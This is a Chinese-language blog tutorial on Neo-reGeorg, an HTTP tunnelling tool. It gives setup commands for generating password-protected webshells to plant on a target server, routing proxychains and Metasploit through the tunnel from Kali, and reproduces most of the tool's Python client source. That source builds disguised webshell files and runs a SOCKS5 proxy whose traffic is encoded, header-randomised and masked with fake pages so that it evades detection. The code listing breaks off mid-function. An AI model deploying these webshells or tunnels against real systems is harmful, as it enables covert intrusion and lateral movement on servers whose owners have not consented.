Neo-reGeorg正向代理配合kali使用

2023-11-12

Neo-reGeorg正向代理配合kali使用

一.Neo-reGeorg介绍

在了解Neo-reGeorg之前,首先应该知道大名鼎鼎的项目

https://github.com/sensepost/reGeorg

其用于开启目标服务器到本地的socks通道,可以正向代理,从本机主动访问我们上传的jsp或者aspx解析,从而去搭建正向隧道。
Neo-reGeorg基于该项目重构,将特征进行隐藏,具有较好的免杀效果,可以很好的隐匿流量,项目地址

https://github.com/L-codes/Neo-reGeorg

其具有的特征如下:

传输内容经过变形 base64 加密,伪装成 base64 编码
直接请求响应可定制化 (如伪装的404页面)
HTTP Headers 的指令随机生成,避免特征检测
HTTP Headers 可定制化
自定义 HTTP 响应码
多 URL 随机请求
服务端 DNS 解析
兼容 python2 / python3
服务端环境的高兼容性
(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
(非 php) 支持内网转发,应对负载均衡环境

二.项目部署及使用

(1)git clone https://github.com/L-codes/Neo-reGeorg
(2)cd Neo-reGeorg
(3)python neoreg.py generate -k password
这里生成jsp,aspx或者php类型的马,放置在目标服务器上即可。这里-k后面为自定义的密码
请添加图片描述
生成的木马在server文件夹里
请添加图片描述
针对不同的服务器选择不同的马进行放置即可,在kali端配置本地监听

vi /etc/proxychains4

请添加图片描述
然后搭通隧道即可。详细步骤不再一一展示,比较简单。重点是,学会和msf进行联动

proxychains4 msfconsole

如何测试代理的联通性?

proxychains4 curl www.google.com

三.代码简单分析

#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__  = 'L'
__version__ = '3.8.0'

import sys
import os
import re
import base64
import struct
import random
import hashlib
import logging
import argparse
import requests
import uuid
import codecs
from time import sleep, time, mktime
from datetime import datetime
from socket import *
from itertools import chain
from threading import Thread

requests.packages.urllib3.disable_warnings()

ROOT = os.path.dirname(os.path.realpath(__file__))

ispython3 = True if sys.version_info >= (3, 0) else False

# Constants
SOCKTIMEOUT       = 5
VER               = b"\x05"
METHOD            = b"\x00"
SUCCESS           = b"\x00"
REFUSED           = b"\x05"
#SOCKFAIL         = b"\x01"
#NETWORKFAIL      = b"\x02"
#HOSTFAIL         = b"\x04"
#TTLEXPIRED       = b"\x06"
#UNSUPPORTCMD     = b"\x07"
#ADDRTYPEUNSPPORT = b"\x08"
#UNASSIGNED       = b"\x09"

# Globals
READBUFSIZE   = 7
MAXTHERADS    = 1000
READINTERVAL  = 300
WRITEINTERVAL = 200
PHPTIMEOUT    = 0.5

# Logging
RESET_SEQ = "\033[0m"
COLOR_SEQ = "\033[1;%dm"
BOLD_SEQ  = "\033[1m"

BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)

# CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET
LEVEL = [
    ('ERROR', logging.ERROR),
    ('WARNING', logging.WARNING),
    ('INFO', logging.INFO),
    ('DEBUG', logging.DEBUG),
]

COLORS = {
    'WARNING':  YELLOW,
    'INFO':     WHITE,
    'DEBUG':    BLUE,
    'CRITICAL': YELLOW,
    'ERROR':    RED,
    'RED':      RED,
    'GREEN':    GREEN,
    'YELLOW':   YELLOW,
    'BLUE':     BLUE,
    'MAGENTA':  MAGENTA,
    'CYAN':     CYAN,
    'WHITE':    WHITE,
}


def formatter_message(message, use_color=True):
    if use_color:
        message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)
    else:
        message = message.replace("$RESET", "").replace("$BOLD", "")
    return message


class ColoredFormatter(logging.Formatter):
    def __init__(self, msg, use_color=True):
        logging.Formatter.__init__(self, msg)
        self.use_color = use_color

    def format(self, record):
        levelname = record.levelname
        if self.use_color and levelname in COLORS:
            levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ
            record.levelname = levelname_color
        return logging.Formatter.format(self, record)


class ColoredLogger(logging.Logger):

    def __init__(self, name):
        use_color = not sys.platform.startswith('win')
        FORMAT = "[$BOLD%(levelname)-19s$RESET]  %(message)s"
        COLOR_FORMAT = formatter_message(FORMAT, use_color)
        logging.Logger.__init__(self, name, 'INFO')
        if (name == "transfer"):
            COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT
        color_formatter = ColoredFormatter(COLOR_FORMAT, use_color)
        console = logging.StreamHandler()
        console.setFormatter(color_formatter)
        self.addHandler(console)


logging.setLoggerClass(ColoredLogger)
log = logging.getLogger(__name__)
transferLog = logging.getLogger("transfer")


class SocksCmdNotImplemented(Exception):
    pass

class Rand:
    def __init__(self, key):
        n = int(hashlib.sha512(key.encode()).hexdigest(), 16)
        self.k_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        self.v_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
        self.k_clen = len(self.k_clist)
        self.v_clen = len(self.v_clist)
        random.seed(n)

    def header_key(self):
        str_len = random.getrandbits(4) + 2 # len 2 to 17
        return ''.join([ self.k_clist[random.getrandbits(10) % self.k_clen] for _ in range(str_len) ]).capitalize()

    def header_value(self):
        str_len = random.getrandbits(6) + 2 # len 2 to 65
        return ''.join([ self.v_clist[random.getrandbits(10) % self.v_clen] for _ in range(str_len) ])

    def base64_chars(self, charslist):
        if sys.version_info >= (3, 2):
            newshuffle = random.shuffle
        else:
            try:
                xrange
            except NameError:
                xrange = range
            def newshuffle(x):
                def _randbelow(n):
                    getrandbits = random.getrandbits
                    k = n.bit_length()
                    r = getrandbits(k)
                    while r >= n:
                        r = getrandbits(k)
                    return r

                for i in xrange(len(x) - 1, 0, -1):
                    j = _randbelow(i+1)
                    x[i], x[j] = x[j], x[i]

        newshuffle(charslist)


class session(Thread):
    def __init__(self, conn, pSocket, connectURLs, redirectURLs, FwdTarget):
        Thread.__init__(self)
        self.pSocket = pSocket
        self.connectURLs = connectURLs
        self.redirectURLs = redirectURLs
        self.conn = conn
        self.connect_closed = False
        self.session_connected = False
        self.fwd_target = FwdTarget

    def url_sample(self):
        return random.choice(self.connectURLs)

    def redirect_url_sample(self):
        return random.choice(self.redirectURLs)

    def headerupdate(self, headers):
        headers.update(HEADERS)
        if self.redirectURLs:
            headers[K['X-REDIRECTURL']] = self.redirect_url_sample()

    def session_mark(self):
        mark = base64.b64encode(uuid.uuid4().bytes)[0:-2]
        if ispython3:
            mark = mark.decode()
        mark = mark.replace('+', ' ').replace('/', '_')
        mark = re.sub('^[ _]| $', 'L', mark) # Invalid return character or leading space in header
        return mark

    def parseSocks5(self, sock):
        log.debug("SocksVersion5 detected")
        nmethods = sock.recv(1)
        methods = sock.recv(ord(nmethods))
        sock.sendall(VER + METHOD)
        ver = sock.recv(1)
        if ver == b"\x02":                # this is a hack for proxychains
            ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
        else:
            cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
        target = None
        targetPort = None
        if atyp == b"\x01":      # IPv4
            target = sock.recv(4)
            targetPort = sock.recv(2)
            target = inet_ntoa(target)
        elif atyp == b"\x03":             # Hostname
            targetLen = ord(sock.recv(1)) # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort = sock.recv(2)
            if LOCALDNS:
                try:
                    target = gethostbyname(target)
                except:
                    log.error("DNS resolution failed(%s)" % target.decode())
                    return False
            else:
                target = target.decode()
        elif atyp == b"\x04":    # IPv6
            target = sock.recv(16)
            targetPort = sock.recv(2)
            target = inet_ntop(AF_INET6, target)

        if targetPort == None:
            return False

        targetPortNum = struct.unpack('>H', targetPort)[0]

        if cmd == b"\x02":   # BIND
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd == b"\x03": # UDP
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
        elif cmd == b"\x01": # CONNECT
            try:
                serverIp = inet_aton(target)
            except:
                # Forged temporary address 127.0.0.1
                serverIp = inet_aton('127.0.0.1')
            mark = self.setupRemoteSession(target, targetPortNum)
            if mark:
                sock.sendall(VER + SUCCESS + b"\x00" + b"\x01" + serverIp + targetPort)
                return True
            else:
                sock.sendall(VER + REFUSED + b"\x00" + b"\x01" + serverIp + targetPort)
                return False

        raise SocksCmdNotImplemented("Socks5 - Unknown CMD")

    def handleSocks(self, sock):
        try:
            ver = sock.recv(1)
            if ver == b"\x05":
                res = self.parseSocks5(sock)
                if not res:
                    sock.close()
                return res
            elif ver == b'':
                log.warning("[SOCKS] Failed to get version")
            else:
                log.error("Only support Socks5 protocol")
                return False
        except OSError:
            return False
        except timeout:
            return False

    def handleFwd(self, sock):
        log.debug("Forward detected")
        host, port = self.fwd_target.split(':', 1)
        mark = self.setupRemoteSession(host, int(port))
        return bool(mark)


    def error_log(self, str_format, headers):
        if K['X-ERROR'] in headers:
            message = headers[K["X-ERROR"]]
            if message in rV:
                message = rV[message]
            log.error(str_format.format(repr(message)))

    def encode_target(self, data):
        data = base64.b64encode(data)
        if ispython3:
            data = data.decode()
        return data.translate(EncodeMap)

    def encode_body(self, data):
        data = base64.b64encode(data)
        if ispython3:
            data = data.decode()
        return data.translate(EncodeMap)

    def decode_body(self, data):
        if ispython3:
            data = data.decode()
        return base64.b64decode(data.translate(DecodeMap))

    def setupRemoteSession(self, target, port):
        self.mark = self.session_mark()
        target_data = ("%s|%d" % (target, port)).encode()
        headers = {K["X-CMD"]: self.mark+V["CONNECT"], K["X-TARGET"]: self.encode_target(target_data)}
        self.headerupdate(headers)
        self.target = target
        self.port = port

        if '.php' in self.connectURLs[0]:
            try:
                log.debug("[HTTP] CONNECT Request ({}) => Target: {}".format(self.mark, target_data))
                response = self.conn.get(self.url_sample(), headers=headers, timeout=PHPTIMEOUT)
                log.debug("[HTTP] CONNECT Response ({}) => Code: {}".format(self.mark, response.status_code))
            except:
                log.info("[%s:%d] HTTP [200]: mark [%s]" % (self.target, self.port, self.mark))
                return self.mark
        else:
            response = self.conn.get(self.url_sample(), headers=headers)


        rep_headers = response.headers
        if K['X-STATUS'] in rep_headers:
            status = rep_headers[K["X-STATUS"]]
            if status == V["OK"]:
                log.info("[%s:%d] Session mark [%s]" % (self.target, self.port, self.mark))
                return self.mark
            else:
                self.error_log('[CONNECT] [%s:%d] ERROR: {}' % (self.target, self.port), rep_headers)
                return False
        else:
            log.critical('Bad KEY or non-neoreg server')
            return False

    def closeRemoteSession(self):
        try:
            if not self.connect_closed:
                self.connect_closed = True
                try:
                    self.pSocket.close()
                    log.debug("[%s:%d] Closing localsocket" % (self.target, self.port))
                except:
                    if hasattr(self, 'target'):
                        log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port))

                if hasattr(self, 'mark'):
                    headers = {K["X-CMD"]: self.mark+V["DISCONNECT"]}
                    self.headerupdate(headers)
                    log.debug("[HTTP] DISCONNECT Request ({})".format(self.mark))
                    response = self.conn.get(self.url_sample(), headers=headers)
                    log.debug("[HTTP] DISCONNECT Response ({}) => Code: {}".format(self.mark, response.status_code))
                if not self.connect_closed:
                    if hasattr(self, 'target'):
                        log.info("[DISCONNECT] [%s:%d] Connection Terminated" % (self.target, self.port))
                    else:
                        log.error("[DISCONNECT] Can't find target")
        except requests.exceptions.ConnectionError as e:
            log.warning('[requests.exceptions.ConnectionError] {}'.format(e))

    def reader(self):
        try:
            headers = {K["X-CMD"]: self.mark+V["READ"]}
            self.headerupdate(headers)
            n = 0
            while True:
                try:
                    if self.connect_closed or self.pSocket.fileno() == -1:
                        break
                    log.debug("[HTTP] READ Request ({})".format(self.mark))
                    response = self.conn.get(self.url_sample(), headers=headers)
                    log.debug("[HTTP] READ Response ({}) => Code: {}, Size: {}".format(self.mark, response.status_code, len(response.content)))
                    rep_headers = response.headers
                    if K['X-STATUS'] in rep_headers:
                        status = rep_headers[K["X-STATUS"]]
                        if status == V["OK"]:
                            data = response.content
                            data = extract_body(data)
                            if len(data) == 0:
                                sleep(READINTERVAL)
                                continue
                            else:
                                data = self.decode_body(data)
                        else:
                            msg = "[READ] [%s:%d] HTTP [%d]: Status: [%s]: Message [{}] Shutting down" % (self.target, self.port, response.status_code, rV[status])
                            self.error_log(msg, rep_headers)
                            break
                    else:
                        log.error("[READ] [%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status_code))
                        break

                    if len(data) > 0:
                        n += 1
                        data_len = len(data)
                        transferLog.info("[%s:%d] [%s] (%d)<<<< [%d]" % (self.target, self.port, self.mark, n, data_len))
                        while data:
                            writed_size = self.pSocket.send(data)
                            data = data[writed_size:]
                        if data_len < 500:
                            sleep(READINTERVAL)

                except error: # python2 socket.send error
                    pass
                except requests.exceptions.ConnectionError as e:
                    log.warning('[requests.exceptions.ConnectionError] {}'.format(e))
                except requests.exceptions.ChunkedEncodingError as e: # python2 requests error
                    log.warning('[requests.exceptions.ChunkedEncodingError] {}'.format(e))
                except Exception as ex:
                    raise ex
        finally:
            self.closeRemoteSession()

    def writer(self):
        try:
            headers = {K["X-CMD"]: self.mark+V["FORWARD"], 'Content-type': 'application/octet-stream'}
            self.headerupdate(headers)
            n = 0
            while True:
                try:
                    raw_data = self.pSocket.recv(READBUFSIZE)
                    if not raw_data:
                        break
                    data = self.encode_body(raw_data)
                    log.debug("[HTTP] FORWARD Request ({}) => Size: {}".format(self.mark, len(data)))
                    response = self.conn.post(self.url_sample(), headers=headers, data=data)
                    log.debug("[HTTP] FORWARD Response ({}) => Code: {}".format(self.mark, response.status_code))
                    rep_headers = response.headers
                    if K['X-STATUS'] in rep_headers:
                        status = rep_headers[K["X-STATUS"]]
                        if status != V["OK"]:
                            msg = "[FORWARD] [%s:%d] HTTP [%d]: Status: [%s]: Message [{}] Shutting down" % (self.target, self.port, response.status_code, rV[status])
                            self.error_log(msg, rep_headers)
                            break
                    else:
                        log.error("[FORWARD] [%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status_code))
                        break
                    n += 1
                    transferLog.info("[%s:%d] [%s] (%d)>>>> [%d]" % (self.target, self.port, self.mark, n, len(raw_data)))
                    if len(raw_data) < READBUFSIZE:
                        sleep(WRITEINTERVAL)
                except timeout:
                    continue
                except error:
                    break
                except OSError:
                    break
                except requests.exceptions.ConnectionError as e: # python2 socket.send error
                    log.error('[requests.exceptions.ConnectionError] {}'.format(e))
                    break
                except Exception as ex:
                    raise ex
                    break
        finally:
            self.closeRemoteSession()

    def run(self):
        try:
            if self.fwd_target:
                self.session_connected = self.handleFwd(self.pSocket)
            else:
                self.session_connected = self.handleSocks(self.pSocket)

            if self.session_connected:
                log.debug("Staring reader")
                r = Thread(target=self.reader)
                r.start()
                log.debug("Staring writer")
                w = Thread(target=self.writer)
                w.start()
                r.join()
                w.join()
        except SocksCmdNotImplemented as si:
            log.error('[SocksCmdNotImplemented] {}'.format(si))
        except requests.exceptions.ConnectionError as e:
            log.warning('[requests.exceptions.ConnectionError] {}'.format(e))
        except Exception as e:
            log.error('[RUN] {}'.format(e))
            raise e
        finally:
            if self.session_connected:
                self.closeRemoteSession()


def askGeorg(conn, connectURLs, redirectURLs):
    # only check first
    log.info("Checking if Georg is ready")
    headers = {}
    headers.update(HEADERS)

    if redirectURLs:
        headers[K['X-REDIRECTURL']] = redirectURLs[0]

    if INIT_COOKIE:
        headers['Cookie'] = INIT_COOKIE

    need_exit = False
    try:
        log.debug("[HTTP] Ask Georg Request".format())
        response = conn.get(connectURLs[0], headers=headers, timeout=10)
        log.debug("[HTTP] Ask Georg Response =>  Code: {}".format(response.status_code))
        if '.php' in connectURLs[0]:
            if 'Expires' in response.headers:
                expires = response.headers['Expires']
                try:
                    expires_date = datetime.strptime(expires, '%a, %d %b %Y %H:%M:%S %Z')
                    if mktime(expires_date.timetuple()) < time():
                        log.warning('Server Session expired')
                        if 'Set-Cookie' in response.headers:
                            cookie = ''
                            for k, v in response.cookies.items():
                                cookie += '{}={};'.format(k, v)
                            HEADERS.update({'Cookie' : cookie})
                            log.warning("Automatically append Cookies: {}".format(cookie))
                        else:
                            log.error('There is no valid cookie return')
                            need_exit = True
                except ValueError:
                    log.warning('Expires wrong format: {}'.format(expires))
    except:
        log.error("Georg is not ready, please check URL.")
        exit()

    if need_exit:
        exit()

    if redirectURLs and response.status_code >= 400:
        log.warning('Using redirection will affect performance when the response code >= 400')

    data = response.content
    data = extract_body(data)

    if BASICCHECKSTRING == data.strip():
        log.info("Georg says, 'All seems fine'")
        return True
    elif BASICCHECKSTRING in data:
        left_offset = data.index(BASICCHECKSTRING)
        right_offset = len(data) - ( left_offset + len(BASICCHECKSTRING) )
        log.error("Georg is ready, but the body needs to be offset")
        args_tips = ''
        if left_offset:
            args_tips += '--cut-left {}'.format(left_offset)
        if right_offset:
            args_tips += '--cut-right {}'.format(right_offset)
        log.error("You can set the `{}` parameter to body offset".format(args_tips))
        exit()
    else:
        if args.skip:
            log.debug("Ignore detecting that Georg is ready")

        else:
            if K['X-ERROR'] in response.headers:
                message = response.headers[K["X-ERROR"]]
                if message in rV:
                    message = rV[message]
                log.error("Georg is not ready. Error message: %s" % message)
            else:
                log.warning('Expect Response: {}'.format(BASICCHECKSTRING[0:100]))
                log.warning('Real Response: {}'.format(data.strip()[0:100]))
                log.error("Georg is not ready, please check URL and KEY. rep: [{}] {}".format(response.status_code, response.reason))
                log.error("You can set the `--skip` parameter to ignore errors")
            exit()


def extract_body(data):
    if args.cut_left > 0:
        data = data[args.cut_left:]
    if args.cut_right > 0:
        data = data[:-args.cut_right]
    if args.extract:
        match = EXTRACT_EXPR.search(data.decode())
        if match:
            data = match[1].encode()
    return data


def choice_useragent():
    user_agents = [
       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3",
       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16",
       "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36",
       "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
       "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36",
       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11",
       "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0",
       "Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0",
       "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0",
       "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0"
    ]
    return random.choice(user_agents)


def file_read(filename):
    try:
        with codecs.open(filename, encoding="utf-8") as f:
            return f.read()
    except:
        log.error("Failed to read file: %s" % filename)
        exit()


def file_write(filename, data):
    try:
        with open(filename, 'w') as f:
            f.write(data)
    except:
        log.error("Failed to write file: %s" % filename)
        exit()

banner = r"""

          "$$$$$$''  'M$  '$$$@m
        :$$$$$$$$$$$$$$''$$$$'
       '$'    'JZI'$$&  $$$$'
                 '$$$  '$$$$
                 $$$$  J$$$$'
                m$$$$  $$$$,
                $$$$@  '$$$$_          Neo-reGeorg
             '1t$$$$' '$$$$<
          '$$$$$$$$$$'  $$$$          version {}
               '@$$$$'  $$$$'
                '$$$$  '$$$@
             'z$$$$$$  @$$$
                r$$$   $$|
                '$$v c$$
               '$$v $$v$$$$$$$$$#
               $$x$$$$$$$$$twelve$$$@$'
             @$$$@L '    '<@$$$$$$$$`
           $$                 '$$$


    [ Github ] https://github.com/L-codes/neoreg
""".format(__version__)

use_examples = r"""
                [ Basic Use ]

   ./neoreg.py generate -k <you_password>
   ./neoreg.py -k <you_password> -u <server_url>

               [ Advanced Use ]

   ./neoreg.py generate -k <you_password> --file 404.html
   ./neoreg.py -k <you_password> -u <server_url> \
           --skip --proxy http://127.0.0.1:8080 -vv \
           -H 'Authorization: cm9vdDppcyB0d2VsdmU='

"""

if __name__ == '__main__':
    if len(sys.argv) == 1:
        print(banner)
        print(use_examples)
        exit()
    elif len(sys.argv) > 1 and sys.argv[1] == 'generate':
        del sys.argv[1]
        parser = argparse.ArgumentParser(description='Generate neoreg webshell')
        parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key.")
        parser.add_argument("-o", "--outdir", metavar="DIR", help="Output directory.", default='neoreg_servers')
        parser.add_argument("-f", "--file", metavar="FILE", help="Camouflage html page file")
        parser.add_argument("-c", "--httpcode", metavar="CODE", help="Specify HTTP response code. When using -r, it is recommended to <400. (default: 200)", type=int, default=200)
        parser.add_argument("--read-buff", metavar="Bytes", help="Remote read buffer. (default: 513)", type=int, default=513)
        parser.add_argument("--max-read-size", metavar="KB", help="Remote max read size. (default: 512)", type=int, default=512)
        args = parser.parse_args()
    else:
        parser = argparse.ArgumentParser(description="Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k (debug_all|debug_base64|debug_headers_key|debug_headers_values)")
        parser.add_argument("-u", "--url", metavar="URI", required=True, help="The url containing the tunnel script", action='append')
        parser.add_argument("-r", "--redirect-url", metavar="URL", help="Intranet forwarding the designated server (only jsp(x))", action='append')
        parser.add_argument("-t", "--target", metavar="IP:PORT", help="Network forwarding Target, After setting this parameter, port forwarding will be enabled")
        parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key")
        parser.add_argument("-l", "--listen-on", metavar="IP", help="The default listening address.(default: 127.0.0.1)", default="127.0.0.1")
        parser.add_argument("-p", "--listen-port", metavar="PORT", help="The default listening port.(default: 1080)", type=int, default=1080)
        parser.add_argument("-s", "--skip", help="Skip usability testing", action='store_true')
        parser.add_argument("-H", "--header", metavar="LINE", help="Pass custom header LINE to server", action='append', default=[])
        parser.add_argument("-c", "--cookie", metavar="LINE", help="Custom init cookies")
        parser.add_argument("-x", "--proxy", metavar="LINE", help="Proto://host[:port]  Use proxy on given port", default=None)
        parser.add_argument("--php-connect-timeout", metavar="S", help="PHP connect timeout.(default: 0.5)", type=float, default=PHPTIMEOUT)
        parser.add_argument("--local-dns", help="Use local resolution DNS", action='store_true')
        parser.add_argument("--read-buff", metavar="KB", help="Local read buffer, max data to be sent per POST.(default: {}, max: 50)".format(READBUFSIZE), type=int, default=READBUFSIZE)
        parser.add_argument("--read-interval", metavar="MS", help="Read data interval in milliseconds.(default: {})".format(READINTERVAL), type=int, default=READINTERVAL)
        parser.add_argument("--write-interval", metavar="MS", help="Write data interval in milliseconds.(default: {})".format(WRITEINTERVAL), type=int, default=WRITEINTERVAL)
        parser.add_argument("--max-threads", metavar="N", help="Proxy max threads.(default: 1000)", type=int, default=MAXTHERADS)
        parser.add_argument("--cut-left", metavar="N", help="Truncate the left side of the response body", type=int, default=0)
        parser.add_argument("--cut-right", metavar="N", help="Truncate the right side of the response body", type=int, default=0)
        parser.add_argument("--extract", metavar="EXPR", help="Manually extract BODY content. (eg: <html><p>REGBODY</p></html> )")
        parser.add_argument("-v", help="Increase verbosity level (use -vv or more for greater effect)", action='count', default=0)
        args = parser.parse_args()

        if args.extract:
            if 'REGBODY' not in args.extract:
                print('[!] Error extracting expression, REGBODY not found')
                exit()
            else:
                expr = re.sub('REGBODY', r'\\s*([A-Za-z0-9+/]*(?:=|==)?|<!-- [a-zA-Z0-9]+ -->)\\s*', re.escape(args.extract))
                EXTRACT_EXPR = re.compile(expr, re.S)

    rand = Rand(args.key)

    BASE64CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    if args.key in ['debug_all', 'debug_base64']:
        M_BASE64CHARS = BASE64CHARS
    else:
        M_BASE64CHARS = list(BASE64CHARS)
        rand.base64_chars(M_BASE64CHARS)
        M_BASE64CHARS = ''.join(M_BASE64CHARS)

    if ispython3:
        maketrans = str.maketrans
    else:
        from string import maketrans

    EncodeMap = maketrans(BASE64CHARS, M_BASE64CHARS)
    DecodeMap = maketrans(M_BASE64CHARS, BASE64CHARS)

    BASICCHECKSTRING = ('<!-- ' + rand.header_value() + ' -->').encode()

    K = {}
    for name in ["X-STATUS", "X-ERROR", "X-CMD", "X-TARGET", "X-REDIRECTURL"]:
        if args.key in ['debug_all', 'debug_headers_key']:
            K[name] = name
        else:
            K[name] = rand.header_key()

    V = {}
    rV = {}
    for name in ["FAIL", "Failed creating socket", "Failed connecting to target", "OK", "Failed writing socket",
            "CONNECT", "DISCONNECT", "READ", "FORWARD", "Failed reading from socket", "No more running, close now",
            "POST request read filed", "Intranet forwarding failed"]:
        if args.key in ['debug_all', 'debug_headers_value']:
            V[name] = name
            rV[name] = name
        else:
            value = rand.header_value()
            V[name] = value
            rV[value] = name

    if 'url' in args:
        # neoreg connect
        if args.v > 3:
            args.v = 3

        LOCALDNS = args.local_dns

        LEVELNAME, LEVELLOG = LEVEL[args.v]
        log.setLevel(LEVELLOG)
        transferLog.setLevel(LEVELLOG)
        separation = "+" + "-" * 72 + "+"
        print(banner)
        print(separation)
        print("  Log Level set to [%s]" % LEVELNAME)

        USERAGENT = choice_useragent()
        PHPTIMEOUT = args.php_connect_timeout

        urls = args.url
        redirect_urls = []

        HEADERS = {}
        if args.redirect_url:
            for url in args.redirect_url:
                data = base64.b64encode(url.encode())
                if ispython3:
                    data = data.decode()
                redirect_urls.append( data.translate(EncodeMap) )

        for header in args.header:
            if ':' in header:
                key, value = header.split(':', 1)
                HEADERS[key.strip()] = value.strip()
            else:
                print("\nError parameter: -H %s" % header)
                exit()

        INIT_COOKIE = args.cookie
        PROXY = { 'http': args.proxy, 'https': args.proxy } if args.proxy else None

        if args.target:
            if not re.match(r'[^:]+:\d+', args.target):
                print("[!] Target parameter error: {}".format(args.target))
                exit()
            print("  Starting Forward [%s:%d] => [%s]" % (args.listen_on, args.listen_port, args.target))
        else:
            print("  Starting SOCKS5 server [%s:%d]" % (args.listen_on, args.listen_port))


        print("  Tunnel at:")
        for url in urls:
            print("    "+url)

        if args.proxy:
            print("  Client Proxy:\n    "+ args.proxy)

        if redirect_urls:
            print("  Redirect to:")
            for url in args.redirect_url:
                print("    "+url)

        print(separation)
        try:
            conn = requests.Session()
            conn.proxies = PROXY
            conn.verify = False
            conn.headers['Accept-Encoding'] = 'gzip, deflate'
            conn.headers['User-Agent'] = USERAGENT

            servSock_start = False
            askGeorg(conn, urls, redirect_urls)

            READBUFSIZE  = min(args.read_buff, 50) * 1024
            MAXTHERADS   = args.max_threads
            READINTERVAL = args.read_interval / 1000.0
            WRITEINTERVAL = args.write_interval / 1000.0

            try:
                servSock = socket(AF_INET, SOCK_STREAM)
                servSock_start = True
                servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
                servSock.bind((args.listen_on, args.listen_port))
                servSock.listen(MAXTHERADS)
            except Exception as e:
                log.error("[Server Listen] {}".format(e))
                exit()


            while True:
                try:
                    sock, addr_info = servSock.accept()
                    sock.settimeout(SOCKTIMEOUT)
                    log.debug("Incomming connection")
                    session(conn, sock, urls, redirect_urls, args.target).start()
                except KeyboardInterrupt as ex:
                    break
                except timeout:
                    log.warning("[Socks Connect Tiemout] {}".format(addr_info))
                    if sock:
                        sock.close()
                except OSError:
                    if sock:
                        sock.close()
                except error:
                    pass
                except Exception as e:
                    log.error(e)
                    raise e
        except requests.exceptions.ProxyError:
            log.error("Unable to connect proxy: %s" % args.proxy)
        except requests.exceptions.ConnectionError:
            log.error("Can not connect to the server")
        finally:
            if servSock_start:
                servSock.close()
    else:
        # neoreg server generate
        print(banner)
        READBUF = args.read_buff - (args.read_buff % 3)
        MAXREADSIZE = args.max_read_size * 1024
        outdir = args.outdir
        if not os.path.isdir(outdir):
            os.mkdir(outdir)
            print('    [+] Mkdir a directory: %s' % outdir)

        keyfile = os.path.join(outdir, 'key.txt')
        file_write(keyfile, args.key)

        M_BASE64ARRAY = []
        for i in range(128):
            if chr(i) in BASE64CHARS:
                num = M_BASE64CHARS.index(chr(i))
                M_BASE64ARRAY.append(num)
            else:
                M_BASE64ARRAY.append(-1)

        script_dir = os.path.join(ROOT, 'templates')
        print("    [+] Create neoreg server files:")

        if args.file:
            http_get_content = repr(file_read(args.file)).replace("\\'", "'").replace('"', '\\"')[1:-1]
            http_get_content, n = re.subn(r'\\[xX][a-fA-F0-9]{2}', '', http_get_content)
            if n > 0:
                print("    [*] %d invisible strings were deleted" % n)
        else:
            http_get_content = BASICCHECKSTRING.decode()

        for filename in os.listdir(script_dir):
            outfile = os.path.join(outdir, filename)
            filepath = os.path.join(script_dir, filename)
            if os.path.isfile(filepath) and filename.startswith('tunnel.'):
                text = file_read(filepath)
                text = text.replace(r"Georg says, 'All seems fine'", http_get_content)
                text = re.sub(r"BASE64 CHARSLIST", M_BASE64CHARS, text)

                # only jsp
                text = re.sub(r"BASE64 ARRAYLIST", ','.join(map(str, M_BASE64ARRAY)), text)

                text = re.sub(r"\bREADBUF\b", str(READBUF), text)
                text = re.sub(r"\bMAXREADSIZE\b", str(MAXREADSIZE), text)

                for k, v in chain(K.items(), V.items()):
                    text = re.sub(r'\b%s\b' % k, v, text)

                text = re.sub(r"\bHTTPCODE\b", str(args.httpcode), text)

                file_write(outfile, text)
                print("       => %s/%s" % (outdir, os.path.basename(outfile)))

                # jsp/jspx trimDirectiveWhitespaces=true
                if filename.endswith(('.jsp', '.jspx')):
                    text = text.replace(' trimDirectiveWhitespaces="true"', '')
